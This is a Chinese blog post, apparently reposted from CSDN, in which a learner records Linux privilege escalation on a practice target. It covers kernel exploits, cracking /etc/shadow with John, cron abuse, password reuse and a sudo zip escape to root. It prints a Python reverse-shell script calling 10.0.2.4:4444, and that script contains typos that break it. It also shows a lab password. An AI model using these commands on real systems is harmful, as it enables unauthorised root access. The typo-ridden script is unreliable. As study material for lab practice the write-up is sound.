本文共 2437 字,大约阅读时间需要 8 分钟。
前言:上次学习利用目录遍历漏洞获取了一个反弹的webshell,但是权限是www-data,不是root权限,所以这次学习提权,拿到root权限。
本文目录
提权介绍
往往我们能拿下服务器的web服务只是具有低权限用户(www-data),对于内网渗透,我们需要提权到root。linux系统的提权过程不止涉及到了漏洞,也涉及了很多系统配置。
提权前提:- 已经拿到低权shell
- 被入侵的机器上面有nc,python,perl等非常常见的工具
- 有权限上传文件和下载文件
学习环境依然是上次的shell获取的www-data权限
提权方式
内核漏洞提权
内核漏洞一般是首选考虑的,先查看是否可以使用内核漏洞进行提权。先对系统做个了解
#查看发行版本cat /etc/issuecat /etc/*-release# 查看内核版本uname -a看到发行版本是
Ubuntu 12.04.5
寻找内核溢出代码使用searchsploit 但是发现并没有,可以适合这个版本的漏洞模块;但是有12.04的,不过不行; 没有这个,所以没办法利用;如果存在可以利用的,那么使用方法就是 gcc xxx.c -o exploitchmod +x exploit./exploit
这个是内核溢出的提权,不过一般用不上。
明文root密码提权
大多linux系统的密码都和/etc/passwd
、/etc/shadow
这两个配置文件相关的;passwd里面储存了用户,shadow里面是密码的hash;且passwd是全用户可读,root可写。shadow是仅root可以进行读写的。
/etc/passwd /etc/shadowunshadow passwd shadow > crackedjohn cracked
使用John这个工具来破解。
到kali中查看这两个文件,passwd可以查看,shadow是无法查看的 所以此方法也不行,不过倒是可以在root权限下查看密码(前提是不知道root密码)计划任务
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/
内系统的计划任务可以被列出
#!/usr/bin/pythonimport os,subprocess,sockets=socket.socekt(sicket.AF_INET,socket.SOCK_STREAM)s.connect(("10.0.2.4","4444"))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])
测试时查看/etc/crontab
发现并没有可写权限的文件
密码复用
很多管理员会重读使用密码,因此数据库或者web后台的密码也许就是root密码。
有了疑似root密码,第一时间想到ssh登录,但是ssh很可能禁止root登录,或者是防火墙规则等因素排除。之前已经得到一个低权限的shell,但是直接在低权限里使用sudo是不奏效的。出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入,也就是说sudo在输入密码的时候本质是读取键盘,而不是bash里面的字符。因此要输入密码,还需要一个终端设备。python有这种功能的,就是模拟化终端,输入
python -c "import pty;pty.spawn('/bin/bash')"
可以看到是已经启动了虚拟终端
然后找到了一些信息,因为是靶场,而且是学习提权的,这个寻找信息的过程就不写了。 找到一个用户名为zico
密码为sWfCsfJSPV9H3AmQzw8
的一个用户。 而日是开放了ssh服务的,所以可以直接进行ssh登录 看到了登录成功,密码正确。
利用zip进行提权
sudo -l
查看了当前可以使用root提权的命令信息。 返回以下结果 Matching Defaults entries for zico on this host: env_reset, exempt_group=admin, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser zico may run the following commands on this host: (root) NOPASSWD: /bin/tar (root) NOPASSWD: /usr/bin/zip
可以使用zip进行提权
touch exploitsudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"
发现得到了root权限
总结:
- 内核漏洞 在kali当中找相应版本的漏洞,看有无适应当前版本的可以利用的漏洞。
- 明文root密码 要求拿到的用户,刚好有可以读取shadow和passwd文件的权限。
- 计划任务 计划的任务修改执行对应的脚本可以获取root权限,待尝试~
- 密码复用 已知其他用户的密码,可以推测root用户的密码也是相同的(PS:不得不说我自己的就是,我的kali普通用户和root用户设置的密码是一样的,因为懒) 以上是几种常见的提权方式,这次学习收获很多。
转载地址:https://blog.csdn.net/qq_45836474/article/details/107873338 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!